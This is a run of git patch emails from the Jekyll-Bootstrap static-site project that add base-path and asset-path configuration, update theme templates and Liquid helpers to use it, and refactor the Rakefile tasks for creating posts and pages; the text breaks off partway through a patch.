<plusjade@gmail.com> Date: Sat, 21 Jan 2012 18:11:37 -0800 Subject: [PATCH 042/144] Provide path configuration in _config.yml --- _config.yml | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/_config.yml b/_config.yml index c63f811..d6f681c 100644 --- a/_config.yml +++ b/_config.yml @@ -23,6 +23,25 @@ exclude: [".rbenv-version", "README.md", "Rakefile"] # Jekyll-Bootstrap configurations JB : + + # All links will be namespaced by BASE_PATH if defined. + # This is required for hosting GitHub Project Pages. + # If you are deploying this website for one of your GitHub projects + # you must set BASE_PATH to the name of your GitHub project. + # + BASE_PATH : "/narly" + + # By default, the asset_path is automatically defined relative to BASE_PATH plus the enabled theme. + # ex: [BASE_PATH]/assets/themes/[THEME-NAME] + # + # Override this by defining an absolute path to assets here. + # ex: + # http://s3.amazonaws.com/yoursite/themes/watermelon + # /assets + # + ASSET_PATH : false + + comments : engine : disqus disqus : From 71278b8a3a1d7674349a4ff2b386818851a8661e Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Sat, 21 Jan 2012 18:13:39 -0800 Subject: [PATCH 043/144] Need to provide theme name via settings.yml --- _includes/themes/mark-reid/settings.yml | 2 ++ _includes/themes/the-minimum/settings.yml | 2 ++ _includes/themes/tom/settings.yml | 2 ++ _includes/themes/twitter/settings.yml | 2 ++ 4 files changed, 8 insertions(+) create mode 100644 _includes/themes/mark-reid/settings.yml create mode 100644 _includes/themes/the-minimum/settings.yml create mode 100644 _includes/themes/tom/settings.yml create mode 100644 _includes/themes/twitter/settings.yml diff --git a/_includes/themes/mark-reid/settings.yml b/_includes/themes/mark-reid/settings.yml new file mode 100644 index 0000000..68ca3d8 --- /dev/null +++ b/_includes/themes/mark-reid/settings.yml @@ -0,0 +1,2 @@ +theme : + name : mark-reid \ No newline at end of file diff --git a/_includes/themes/the-minimum/settings.yml b/_includes/themes/the-minimum/settings.yml new file mode 100644 index 0000000..2d4ce2c --- /dev/null +++ b/_includes/themes/the-minimum/settings.yml @@ -0,0 +1,2 @@ +theme : + name : the-minimum \ No newline at end of file diff --git a/_includes/themes/tom/settings.yml b/_includes/themes/tom/settings.yml new file mode 100644 index 0000000..5c24099 --- /dev/null +++ b/_includes/themes/tom/settings.yml @@ -0,0 +1,2 @@ +theme : + name : tom \ No newline at end of file diff --git a/_includes/themes/twitter/settings.yml b/_includes/themes/twitter/settings.yml new file mode 100644 index 0000000..7ca7b73 --- /dev/null +++ b/_includes/themes/twitter/settings.yml @@ -0,0 +1,2 @@ +theme : + name : twitter \ No newline at end of file From b01624b217f54246efc999787d60ed789d5105f2 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Sat, 21 Jan 2012 18:15:00 -0800 Subject: [PATCH 044/144] Update themes and pages to new paths api --- _includes/helpers/categories_list.html | 4 ++-- _includes/helpers/pages_list.html | 4 ++-- _includes/helpers/posts_collate.html | 2 +- _includes/helpers/tags_list.html | 4 ++-- _includes/themes/mark-reid/default.html | 12 ++++++------ _includes/themes/mark-reid/post.html | 2 +- _includes/themes/the-minimum/default.html | 4 ++-- _includes/themes/tom/default.html | 6 +++--- _includes/themes/twitter/default.html | 6 +++--- _includes/themes/twitter/post.html | 6 +++--- .../core-samples/2011-12-29-jekyll-introduction.md | 4 ++-- index.md | 2 +- 12 files changed, 28 insertions(+), 28 deletions(-) diff --git a/_includes/helpers/categories_list.html b/_includes/helpers/categories_list.html index 2ced2d2..ae5e6b5 100644 --- a/_includes/helpers/categories_list.html +++ b/_includes/helpers/categories_list.html @@ -19,13 +19,13 @@ {% if categories_list.first[0] == null %} {% for category in categories_list %} - <li><a href="{{ site.var.categories_path }}#{{ category }}-ref"> + <li><a href="{{ BASE_PATH }}{{ site.var.categories_path }}#{{ category }}-ref"> {{ category | join: "/" }} <span>{{ site.categories[category].size }}</span> </a></li> {% endfor %} {% else %} {% for category in categories_list %} - <li><a href="{{ site.var.categories_path }}#{{ category[0] }}-ref"> + <li><a href="{{ BASE_PATH }}{{ site.var.categories_path }}#{{ category[0] }}-ref"> {{ category[0] | join: "/" }} <span>{{ category[1].size }}</span> </a></li> {% endfor %} diff --git a/_includes/helpers/pages_list.html b/_includes/helpers/pages_list.html index 0e42820..0e9ba87 100644 --- a/_includes/helpers/pages_list.html +++ b/_includes/helpers/pages_list.html @@ -25,9 +25,9 @@ {% if group == null or group == node.group %} {% if page.url == node.url %} - <li class="active"><a href="{{node.url}}" class="active">{{node.title}}</a></li> + <li class="active"><a href="{{ BASE_PATH }}{{node.url}}" class="active">{{node.title}}</a></li> {% else %} - <li><a href="{{node.url}}">{{node.title}}</a></li> + <li><a href="{{ BASE_PATH }}{{node.url}}">{{node.title}}</a></li> {% endif %} {% endif %} diff --git a/_includes/helpers/posts_collate.html b/_includes/helpers/posts_collate.html index 210bd03..42adef7 100644 --- a/_includes/helpers/posts_collate.html +++ b/_includes/helpers/posts_collate.html @@ -29,7 +29,7 @@ <h3>{{this_month}}</h3> <ul> {% endif %} - <li><span>{{ post.date | date: "%B %e, %Y" }}</span> » <a href="{{ post.url }}">{{ post.title }}</a></li> + <li><span>{{ post.date | date: "%B %e, %Y" }}</span> » <a href="{{ BASE_PATH }}{{ post.url }}">{{ post.title }}</a></li> {% if forloop.last %} </ul> diff --git a/_includes/helpers/tags_list.html b/_includes/helpers/tags_list.html index d2518e0..f0ee45f 100644 --- a/_includes/helpers/tags_list.html +++ b/_includes/helpers/tags_list.html @@ -19,11 +19,11 @@ {% if tags_list.first[0] == null %} {% for tag in tags_list %} - <li><a href="{{ site.var.tags_path }}#{{ tag }}-ref">{{ tag }} <span>{{ site.tags[tag].size }}</span></a></li> + <li><a href="{{ BASE_PATH }}{{ site.var.tags_path }}#{{ tag }}-ref">{{ tag }} <span>{{ site.tags[tag].size }}</span></a></li> {% endfor %} {% else %} {% for tag in tags_list %} - <li><a href="{{ site.var.tags_path }}#{{ tag[0] }}-ref">{{ tag[0] }} <span>{{ tag[1].size }}</span></a></li> + <li><a href="{{ BASE_PATH }}{{ site.var.tags_path }}#{{ tag[0] }}-ref">{{ tag[0] }} <span>{{ tag[1].size }}</span></a></li> {% endfor %} {% endif %} diff --git a/_includes/themes/mark-reid/default.html b/_includes/themes/mark-reid/default.html index b8a0482..8702b44 100644 --- a/_includes/themes/mark-reid/default.html +++ b/_includes/themes/mark-reid/default.html @@ -7,7 +7,7 @@ <title>{{ page.title }} ← {{ page.top }}</title> <meta name="author" content="{{ site.author.name }}" /> - <link rel="start" href="/" /> + <link rel="start" href="{{ HOME_URL }}" /> {% if page.keywords %} <meta name="keywords" content="{{ page.keywords }}"> @@ -18,10 +18,10 @@ {% endif %} <!-- syntax highlighting CSS --> - <link rel="stylesheet" href="{{ theme_asset_path }}/css/syntax.css" type="text/css" /> + <link rel="stylesheet" href="{{ ASSET_PATH }}/css/syntax.css" type="text/css" /> <!-- Homepage CSS --> - <link rel="stylesheet" href="{{ theme_asset_path }}/css/screen.css" type="text/css" /> + <link rel="stylesheet" href="{{ ASSET_PATH }}/css/screen.css" type="text/css" /> </head> <body id="{{ page.section }}"> @@ -29,11 +29,11 @@ <div id="header"> <h1> - <a href="/" title="{{ site.title }}">{{ site.title }}</a> - <span class="byline">← <a href="/">{{ site.author.name }}</a></span> + <a href="{{ HOME_URL }}" title="{{ site.title }}">{{ site.title }}</a> + <span class="byline">← <a href="{{ HOME_URL }}">{{ site.author.name }}</a></span> </h1> <ul class="nav"> - <li><a class="home" href="/">Home</a></li> + <li><a class="home" href="{{ HOME_URL }}">Home</a></li> <li><a href="/archive.html">Archive</a></li> <li><a href="/pages.html">Pages</a></li> <li><a href="/categories.html">Categories</a></li> diff --git a/_includes/themes/mark-reid/post.html b/_includes/themes/mark-reid/post.html index af7ffd3..6e3396f 100644 --- a/_includes/themes/mark-reid/post.html +++ b/_includes/themes/mark-reid/post.html @@ -9,7 +9,7 @@ <h1 class="emphnext">{{ page.title }}</h1> {{ content }} <address class="signature"> - <a class="author" href="/">{{ site.author.name }}</a> + <a class="author" href="{{ HOME_URL }}">{{ site.author.name }}</a> <span class="date">{{ page.date | date_to_long_string }}</span> <span class="location">{{ page.location }}</span> </address> diff --git a/_includes/themes/the-minimum/default.html b/_includes/themes/the-minimum/default.html index 95b0404..6099d59 100644 --- a/_includes/themes/the-minimum/default.html +++ b/_includes/themes/the-minimum/default.html @@ -8,7 +8,7 @@ <meta name="viewport" content="width=device-width,initial-scale=1"> <title>{{ page.title }}</title> <meta name="author" content="{{ site.author.name }}"> - <link href='{{ theme_asset_path }}/css/style.css' rel="stylesheet" media="all"> + <link href='{{ ASSET_PATH }}/css/style.css' rel="stylesheet" media="all"> <link href="http://feeds.feedburner.com/{{ site.author.feedbaname }}" rel="alternate" title="{{ page.title }}" type="application/atom+xml"> <script src="http://cdnjs.cloudflare.com/ajax/libs/modernizr/2.0.6/modernizr.min.js"></script> </head> @@ -18,7 +18,7 @@ <header class="the-header"> <div class="unit-head"> <div class="unit-inner unit-head-inner"> - <p class="logo"><a href="/">{{ site.title }}</a></p> + <p class="logo"><a href="{{ HOME_URL }}">{{ site.title }}</a></p> <nav class="nav-global"> <ul> <li class="archive"><a href="/archive.html">archive</a></li> diff --git a/_includes/themes/tom/default.html b/_includes/themes/tom/default.html index bbd019f..0dedd8e 100644 --- a/_includes/themes/tom/default.html +++ b/_includes/themes/tom/default.html @@ -7,10 +7,10 @@ <link href="http://feeds.feedburner.com/username" rel="alternate" title="your title" type="application/atom+xml" /> <!-- syntax highlighting CSS --> - <link rel="stylesheet" href="{{ theme_asset_path }}/css/syntax.css" type="text/css" /> + <link rel="stylesheet" href="{{ ASSET_PATH }}/css/syntax.css" type="text/css" /> <!-- Homepage CSS --> - <link rel="stylesheet" href="{{ theme_asset_path }}/css/screen.css" type="text/css" media="screen, projection" /> + <link rel="stylesheet" href="{{ ASSET_PATH }}/css/screen.css" type="text/css" media="screen, projection" /> <!-- Typekit --> <script type="text/javascript" src="http://use.typekit.com/jpd0pfm.js"></script> @@ -20,7 +20,7 @@ <div class="site"> <div class="title"> - <a href="/">{{ site.title }}</a> + <a href="{{ HOME_URL }}">{{ site.title }}</a> <a class="extra" href="/archive.html">Archive</a> <a class="extra" href="/pages.html">Pages</a> <a class="extra" href="/categories.html">Categories</a> diff --git a/_includes/themes/twitter/default.html b/_includes/themes/twitter/default.html index df70385..b45cf22 100644 --- a/_includes/themes/twitter/default.html +++ b/_includes/themes/twitter/default.html @@ -12,8 +12,8 @@ <![endif]--> <!-- Le styles --> - <link href="{{ theme_asset_path }}/css/1.4.0/bootstrap.css" rel="stylesheet"> - <link href="{{ theme_asset_path }}/css/style.css?body=1" rel="stylesheet" type="text/css" media="all"> + <link href="{{ ASSET_PATH }}/css/1.4.0/bootstrap.css" rel="stylesheet"> + <link href="{{ ASSET_PATH }}/css/style.css?body=1" rel="stylesheet" type="text/css" media="all"> <!-- Le fav and touch icons --> <!-- Update these with your own images @@ -29,7 +29,7 @@ <div class="topbar"> <div class="fill"> <div class="container"> - <a class="brand" href="/">{{ site.title }}</a> + <a class="brand" href="{{ HOME_URL }}">{{ site.title }}</a> <ul class="nav"> {% assign pages_list = site.pages %} {% assign group = 'navigation' %} diff --git a/_includes/themes/twitter/post.html b/_includes/themes/twitter/post.html index 591cbca..ebf66ca 100644 --- a/_includes/themes/twitter/post.html +++ b/_includes/themes/twitter/post.html @@ -9,13 +9,13 @@ <h1>{{ page.title }} <small>Supporting tagline</small></h1> <div class="pagination"> <ul> {% if page.previous %} - <li class="prev"><a href="{{ page.previous.url }}" title="{{ page.previous.title }}">← Previous</a></li> + <li class="prev"><a href="{{ BASE_PATH }}{{ page.previous.url }}" title="{{ page.previous.title }}">← Previous</a></li> {% else %} <li class="prev disabled"><a>← Previous</a></li> {% endif %} - <li><a href="/archive.html">Archive</a></li> + <li><a href="{{ BASE_PATH }}{{site.var.archive_path}}">Archive</a></li> {% if page.next %} - <li class="next"><a href="{{ page.next.url }}" title="{{ page.next.title }}">Next →</a></li> + <li class="next"><a href="{{ BASE_PATH }}{{ page.next.url }}" title="{{ page.next.title }}">Next →</a></li> {% else %} <li class="next disabled"><a>Next →</a> {% endif %} diff --git a/_posts/core-samples/2011-12-29-jekyll-introduction.md b/_posts/core-samples/2011-12-29-jekyll-introduction.md index 7f92150..013c5f0 100644 --- a/_posts/core-samples/2011-12-29-jekyll-introduction.md +++ b/_posts/core-samples/2011-12-29-jekyll-introduction.md @@ -406,5 +406,5 @@ Jekyll-bootstrap is intended to provide helper methods and strategies aimed at m ## Next Steps -Please take a look at [{{ site.categories.api.first.title }}]({{ site.categories.api.first.url }}) -or jump right into [Usage]({{ site.categories.usage.first.url }}) if you'd like. \ No newline at end of file +Please take a look at [{{ site.categories.api.first.title }}]({{ BASE_PATH }}{{ site.categories.api.first.url }}) +or jump right into [Usage]({{ BASE_PATH }}{{ site.categories.usage.first.url }}) if you'd like. \ No newline at end of file diff --git a/index.md b/index.md index 37b7210..c679f66 100644 --- a/index.md +++ b/index.md @@ -32,7 +32,7 @@ Here's a sample "posts list". <ul class="posts"> {% for post in site.posts %} - <li><span>{{ post.date | date_to_string }}</span> » <a href="{{ post.url }}">{{ post.title }}</a></li> + <li><span>{{ post.date | date_to_string }}</span> » <a href="{{ BASE_PATH }}{{ post.url }}">{{ post.title }}</a></li> {% endfor %} </ul> From 779afdd016d0ee406fe40f411f6c625f76a13156 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Sat, 21 Jan 2012 18:15:38 -0800 Subject: [PATCH 045/144] Regenerate 'twitter' theme --- _layouts/default.html | 4 +++- _layouts/page.html | 1 + _layouts/post.html | 1 + 3 files changed, 5 insertions(+), 1 deletion(-) diff --git a/_layouts/default.html b/_layouts/default.html index bddadd5..32e9b83 100644 --- a/_layouts/default.html +++ b/_layouts/default.html @@ -1,4 +1,6 @@ --- +theme : + name : twitter --- -{% assign theme_asset_path = "/assets/themes/twitter" %} +{% include JB/set_paths %} {% include themes/twitter/default.html %} diff --git a/_layouts/page.html b/_layouts/page.html index 9a6351c..c1bef1b 100644 --- a/_layouts/page.html +++ b/_layouts/page.html @@ -1,4 +1,5 @@ --- layout: default --- +{% include JB/set_paths %} {% include themes/twitter/page.html %} diff --git a/_layouts/post.html b/_layouts/post.html index 4371409..d77763a 100644 --- a/_layouts/post.html +++ b/_layouts/post.html @@ -1,4 +1,5 @@ --- layout: default --- +{% include JB/set_paths %} {% include themes/twitter/post.html %} From 7ef7288a3338be437ff41c824aa4814631b88add Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Mon, 23 Jan 2012 00:48:40 -0800 Subject: [PATCH 046/144] Rename set_paths to more generic 'setup' This is because 'setup' will need to be included in every post/page file if we want to have access to BASE_PATH. So I figure 'setup' will be a good access path for any future inclusions we need to make --- _includes/JB/{set_paths => setup} | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) rename _includes/JB/{set_paths => setup} (73%) diff --git a/_includes/JB/set_paths b/_includes/JB/setup similarity index 73% rename from _includes/JB/set_paths rename to _includes/JB/setup index 890f2d8..337a2a7 100644 --- a/_includes/JB/set_paths +++ b/_includes/JB/setup @@ -1,13 +1,12 @@ {% capture jbcache %} -<!-- - Dynamically set liquid variables for working with URLs/paths ---> - + <!-- + - Dynamically set liquid variables for working with URLs/paths + --> {% if site.safe and site.JB.BASE_PATH %} {% assign BASE_PATH = site.JB.BASE_PATH %} {% assign HOME_URL = site.JB.BASE_PATH %} {% else %} - {% assign BASE_PATH = "" %} + {% assign BASE_PATH = nil %} {% assign HOME_URL = "/" %} {% endif %} @@ -17,4 +16,4 @@ {% capture ASSET_PATH %}{{ BASE_PATH }}/assets/themes/{{ page.theme.name }}{% endcapture %} {% endif %} -{% endcapture %}{% assign jbcache = null %} \ No newline at end of file +{% endcapture %}{% assign jbcache = nil %} \ No newline at end of file From a1a7efaf71ca45188737a73aca11aa8e05f8502a Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Mon, 23 Jan 2012 00:52:44 -0800 Subject: [PATCH 047/144] Include 'JB/setup' in all posts and pages This is the only way we can have global access to dynamic liquid variables. Using site configuration is too convulated since switching themes and runing in development vs. production relies on being able to dynamically define variables --- Rakefile | 3 ++- _layouts/default.html | 2 +- _layouts/page.html | 2 +- _layouts/post.html | 2 +- _posts/core-samples/2011-12-29-jekyll-introduction.md | 1 + archive.html | 1 + categories.html | 1 + index.md | 1 + pages.html | 1 + tags.html | 1 + 10 files changed, 11 insertions(+), 4 deletions(-) diff --git a/Rakefile b/Rakefile index 3978585..6b750d8 100644 --- a/Rakefile +++ b/Rakefile @@ -29,6 +29,7 @@ task :new_post, :title do |t, args| post.puts "category: " post.puts "tags: []" post.puts "---" + page.puts "{% include JB/setup %}" end end # task :new_post @@ -55,7 +56,7 @@ task :switch_theme, :theme do |t, args| page.puts "layout: default" page.puts "---" end - page.puts "{% include JB/set_paths %}" + page.puts "{% include JB/setup %}" page.puts "{% include themes/#{args.theme}/#{File.basename(filename)} %}" end end diff --git a/_layouts/default.html b/_layouts/default.html index 32e9b83..2d9be07 100644 --- a/_layouts/default.html +++ b/_layouts/default.html @@ -2,5 +2,5 @@ theme : name : twitter --- -{% include JB/set_paths %} +{% include JB/setup %} {% include themes/twitter/default.html %} diff --git a/_layouts/page.html b/_layouts/page.html index c1bef1b..a4a2d0b 100644 --- a/_layouts/page.html +++ b/_layouts/page.html @@ -1,5 +1,5 @@ --- layout: default --- -{% include JB/set_paths %} +{% include JB/setup %} {% include themes/twitter/page.html %} diff --git a/_layouts/post.html b/_layouts/post.html index d77763a..9971d7c 100644 --- a/_layouts/post.html +++ b/_layouts/post.html @@ -1,5 +1,5 @@ --- layout: default --- -{% include JB/set_paths %} +{% include JB/setup %} {% include themes/twitter/post.html %} diff --git a/_posts/core-samples/2011-12-29-jekyll-introduction.md b/_posts/core-samples/2011-12-29-jekyll-introduction.md index 013c5f0..0519fb3 100644 --- a/_posts/core-samples/2011-12-29-jekyll-introduction.md +++ b/_posts/core-samples/2011-12-29-jekyll-introduction.md @@ -3,6 +3,7 @@ layout: post category : lessons tags : [intro, beginner, jekyll, tutorial] --- +{% include JB/setup %} This Jekyll introduction will outline specifically what Jekyll is and why you would want to use it. Directly following the intro we'll learn exactly _how_ Jekyll does what it does. diff --git a/archive.html b/archive.html index 625253f..683459c 100644 --- a/archive.html +++ b/archive.html @@ -4,6 +4,7 @@ header : Post Archive group: navigation --- +{% include JB/setup %} {% assign posts_collate = site.posts %} {% include helpers/posts_collate.html %} \ No newline at end of file diff --git a/categories.html b/categories.html index a5ed9f8..b95b0ae 100644 --- a/categories.html +++ b/categories.html @@ -4,6 +4,7 @@ header: Posts By Category group: navigation --- +{% include JB/setup %} <ul class="tag_box inline"> {% assign categories_list = site.categories %} diff --git a/index.md b/index.md index c679f66..dfa0769 100644 --- a/index.md +++ b/index.md @@ -2,6 +2,7 @@ layout: page title: Hello World! --- +{% include JB/setup %} Read [Jekyll Quick Start](http://jekyllbootstrap.com/usage/jekyll-quick-start.html) diff --git a/pages.html b/pages.html index 4d39d0d..4b298ce 100644 --- a/pages.html +++ b/pages.html @@ -4,6 +4,7 @@ header: Pages group: navigation --- +{% include JB/setup %} <h2>All Pages</h2> <ul> diff --git a/tags.html b/tags.html index 76686fc..6a29279 100644 --- a/tags.html +++ b/tags.html @@ -4,6 +4,7 @@ header: Posts By Tag group: navigation --- +{% include JB/setup %} <ul class="tag_box inline"> {% assign tags_list = site.tags %} From 0fec345989bfdfb127d1397973d89046b03f5ced Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Mon, 23 Jan 2012 01:00:58 -0800 Subject: [PATCH 048/144] rename HOME_URL to HOME_PATH --- _includes/JB/setup | 4 ++-- _includes/themes/mark-reid/default.html | 8 ++++---- _includes/themes/mark-reid/post.html | 2 +- _includes/themes/the-minimum/default.html | 2 +- _includes/themes/tom/default.html | 2 +- _includes/themes/twitter/default.html | 2 +- 6 files changed, 10 insertions(+), 10 deletions(-) diff --git a/_includes/JB/setup b/_includes/JB/setup index 337a2a7..30342fe 100644 --- a/_includes/JB/setup +++ b/_includes/JB/setup @@ -4,10 +4,10 @@ --> {% if site.safe and site.JB.BASE_PATH %} {% assign BASE_PATH = site.JB.BASE_PATH %} - {% assign HOME_URL = site.JB.BASE_PATH %} + {% assign HOME_PATH = site.JB.BASE_PATH %} {% else %} {% assign BASE_PATH = nil %} - {% assign HOME_URL = "/" %} + {% assign HOME_PATH = "/" %} {% endif %} {% if site.JB.ASSET_PATH %} diff --git a/_includes/themes/mark-reid/default.html b/_includes/themes/mark-reid/default.html index 8702b44..91cbf03 100644 --- a/_includes/themes/mark-reid/default.html +++ b/_includes/themes/mark-reid/default.html @@ -7,7 +7,7 @@ <title>{{ page.title }} ← {{ page.top }}</title> <meta name="author" content="{{ site.author.name }}" /> - <link rel="start" href="{{ HOME_URL }}" /> + <link rel="start" href="{{ HOME_PATH }}" /> {% if page.keywords %} <meta name="keywords" content="{{ page.keywords }}"> @@ -29,11 +29,11 @@ <div id="header"> <h1> - <a href="{{ HOME_URL }}" title="{{ site.title }}">{{ site.title }}</a> - <span class="byline">← <a href="{{ HOME_URL }}">{{ site.author.name }}</a></span> + <a href="{{ HOME_PATH }}" title="{{ site.title }}">{{ site.title }}</a> + <span class="byline">← <a href="{{ HOME_PATH }}">{{ site.author.name }}</a></span> </h1> <ul class="nav"> - <li><a class="home" href="{{ HOME_URL }}">Home</a></li> + <li><a class="home" href="{{ HOME_PATH }}">Home</a></li> <li><a href="/archive.html">Archive</a></li> <li><a href="/pages.html">Pages</a></li> <li><a href="/categories.html">Categories</a></li> diff --git a/_includes/themes/mark-reid/post.html b/_includes/themes/mark-reid/post.html index 6e3396f..45b5984 100644 --- a/_includes/themes/mark-reid/post.html +++ b/_includes/themes/mark-reid/post.html @@ -9,7 +9,7 @@ <h1 class="emphnext">{{ page.title }}</h1> {{ content }} <address class="signature"> - <a class="author" href="{{ HOME_URL }}">{{ site.author.name }}</a> + <a class="author" href="{{ HOME_PATH }}">{{ site.author.name }}</a> <span class="date">{{ page.date | date_to_long_string }}</span> <span class="location">{{ page.location }}</span> </address> diff --git a/_includes/themes/the-minimum/default.html b/_includes/themes/the-minimum/default.html index 6099d59..00d015f 100644 --- a/_includes/themes/the-minimum/default.html +++ b/_includes/themes/the-minimum/default.html @@ -18,7 +18,7 @@ <header class="the-header"> <div class="unit-head"> <div class="unit-inner unit-head-inner"> - <p class="logo"><a href="{{ HOME_URL }}">{{ site.title }}</a></p> + <p class="logo"><a href="{{ HOME_PATH }}">{{ site.title }}</a></p> <nav class="nav-global"> <ul> <li class="archive"><a href="/archive.html">archive</a></li> diff --git a/_includes/themes/tom/default.html b/_includes/themes/tom/default.html index 0dedd8e..1475ad4 100644 --- a/_includes/themes/tom/default.html +++ b/_includes/themes/tom/default.html @@ -20,7 +20,7 @@ <div class="site"> <div class="title"> - <a href="{{ HOME_URL }}">{{ site.title }}</a> + <a href="{{ HOME_PATH }}">{{ site.title }}</a> <a class="extra" href="/archive.html">Archive</a> <a class="extra" href="/pages.html">Pages</a> <a class="extra" href="/categories.html">Categories</a> diff --git a/_includes/themes/twitter/default.html b/_includes/themes/twitter/default.html index b45cf22..953ec63 100644 --- a/_includes/themes/twitter/default.html +++ b/_includes/themes/twitter/default.html @@ -29,7 +29,7 @@ <div class="topbar"> <div class="fill"> <div class="container"> - <a class="brand" href="{{ HOME_URL }}">{{ site.title }}</a> + <a class="brand" href="{{ HOME_PATH }}">{{ site.title }}</a> <ul class="nav"> {% assign pages_list = site.pages %} {% assign group = 'navigation' %} From f52ff5aa62f0b1ecebac14f8556b60550a3a8712 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Mon, 23 Jan 2012 02:31:42 -0800 Subject: [PATCH 049/144] Refactor new post rake task Rename from 'rake new_post' to 'rake post'. Also use environment variables over rake arguments --- Rakefile | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) diff --git a/Rakefile b/Rakefile index 6b750d8..3d98d0c 100644 --- a/Rakefile +++ b/Rakefile @@ -9,12 +9,12 @@ CONFIG = { 'post_ext' => "md" } -# usage rake new_post[my-new-post] or rake new_post['my new post'] or rake new_post (defaults to "new-post") +# Usage: rake post title="A Title" desc "Begin a new post in #{CONFIG['posts']}" -task :new_post, :title do |t, args| +task :post do abort("rake aborted: '#{CONFIG['posts']}' directory not found.") unless FileTest.directory?(CONFIG['posts']) - args.with_defaults(:title => 'new-post') - slug = args.title.downcase.strip.gsub(' ', '-').gsub(/[^\w-]/, '') + title = ENV["title"] || "new-post" + slug = title.downcase.strip.gsub(' ', '-').gsub(/[^\w-]/, '') filename = File.join(CONFIG['posts'], "#{Time.now.strftime('%Y-%m-%d')}-#{slug}.#{CONFIG['post_ext']}") if File.exist?(filename) abort("rake aborted!") if ask("#{filename} already exists. Do you want to overwrite?", ['y', 'n']) == 'n' @@ -24,14 +24,13 @@ task :new_post, :title do |t, args| open(filename, 'w') do |post| post.puts "---" post.puts "layout: post" - post.puts "title: \"#{args.title.gsub(/-/,' ')}\"" - post.puts "comments: true" + post.puts "title: \"#{title.gsub(/-/,' ')}\"" post.puts "category: " post.puts "tags: []" post.puts "---" - page.puts "{% include JB/setup %}" + post.puts "{% include JB/setup %}" end -end # task :new_post +end # task :post desc "Switch between Jekyll-bootstrap themes." task :switch_theme, :theme do |t, args| From 6d0e38b3657f2631f977c6c748698e20ae939bb3 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Mon, 23 Jan 2012 02:34:21 -0800 Subject: [PATCH 050/144] Add rake task to create pages Usage: rake page name='about.md' --- Rakefile | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/Rakefile b/Rakefile index 3d98d0c..4acbf09 100644 --- a/Rakefile +++ b/Rakefile @@ -32,6 +32,30 @@ task :post do end end # task :post +# Usage: rake page name="about.html" +# You can also specify a sub-directory path. +# If you don't specify a file extention we create an index.html at the path specified +desc "Create a new page." +task :page do + name = ENV["name"] || "new-page.md" + filename = File.join(SOURCE, "#{name}") + filename = File.join(filename, "index.html") if File.extname(filename) == "" + title = File.basename(filename, File.extname(filename)).gsub(/[\W\_]/, " ").gsub(/\b\w/){$&.upcase} + if File.exist?(filename) + abort("rake aborted!") if ask("#{filename} already exists. Do you want to overwrite?", ['y', 'n']) == 'n' + end + + mkdir_p File.dirname(filename) + puts "Creating new page: #{filename}" + open(filename, 'w') do |post| + post.puts "---" + post.puts "layout: page" + post.puts "title: \"#{title}\"" + post.puts "---" + post.puts "{% include JB/setup %}" + end +end # task :page + desc "Switch between Jekyll-bootstrap themes." task :switch_theme, :theme do |t, args| theme_path = File.join(CONFIG['themes'], args.theme) From 8b7998695b6a4a03ac8ecfc321a8f954b31098dc Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Mon, 23 Jan 2012 03:20:58 -0800 Subject: [PATCH 051/144] Move helpers to namespaced system Also do away with .html extension --- _includes/{helpers/categories_list.html => JB/categories_list} | 0 _includes/{helpers/liquid_raw.html => JB/liquid_raw} | 0 _includes/{helpers/pages_list.html => JB/pages_list} | 0 _includes/{helpers/posts_collate.html => JB/posts_collate} | 0 _includes/{helpers/tags_list.html => JB/tags_list} | 0 5 files changed, 0 insertions(+), 0 deletions(-) rename _includes/{helpers/categories_list.html => JB/categories_list} (100%) rename _includes/{helpers/liquid_raw.html => JB/liquid_raw} (100%) rename _includes/{helpers/pages_list.html => JB/pages_list} (100%) rename _includes/{helpers/posts_collate.html => JB/posts_collate} (100%) rename _includes/{helpers/tags_list.html => JB/tags_list} (100%) diff --git a/_includes/helpers/categories_list.html b/_includes/JB/categories_list similarity index 100% rename from _includes/helpers/categories_list.html rename to _includes/JB/categories_list diff --git a/_includes/helpers/liquid_raw.html b/_includes/JB/liquid_raw similarity index 100% rename from _includes/helpers/liquid_raw.html rename to _includes/JB/liquid_raw diff --git a/_includes/helpers/pages_list.html b/_includes/JB/pages_list similarity index 100% rename from _includes/helpers/pages_list.html rename to _includes/JB/pages_list diff --git a/_includes/helpers/posts_collate.html b/_includes/JB/posts_collate similarity index 100% rename from _includes/helpers/posts_collate.html rename to _includes/JB/posts_collate diff --git a/_includes/helpers/tags_list.html b/_includes/JB/tags_list similarity index 100% rename from _includes/helpers/tags_list.html rename to _includes/JB/tags_list From 5c0a7a6dcd32449cb43d3f4b42f57e251196d9c1 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Mon, 23 Jan 2012 03:28:28 -0800 Subject: [PATCH 052/144] Update helper calls Use 'JB/[HELPER]' format --- _includes/JB/categories_list | 4 ++-- _includes/JB/liquid_raw | 4 ++-- _includes/JB/pages_list | 4 ++-- _includes/JB/posts_collate | 4 ++-- _includes/JB/tags_list | 4 ++-- _includes/themes/mark-reid/post.html | 2 +- _includes/themes/the-minimum/post.html | 4 ++-- _includes/themes/twitter/default.html | 2 +- _includes/themes/twitter/post.html | 2 +- _posts/core-samples/2011-12-29-jekyll-introduction.md | 2 +- archive.html | 2 +- categories.html | 4 ++-- pages.html | 2 +- tags.html | 4 ++-- 14 files changed, 22 insertions(+), 22 deletions(-) diff --git a/_includes/JB/categories_list b/_includes/JB/categories_list index ae5e6b5..218f525 100644 --- a/_includes/JB/categories_list +++ b/_includes/JB/categories_list @@ -2,11 +2,11 @@ The categories_list include is a listing helper for categories. Usage: 1) assign the 'categories_list' variable to a valid array of tags. - 2) include helpers/categories_list.html. + 2) 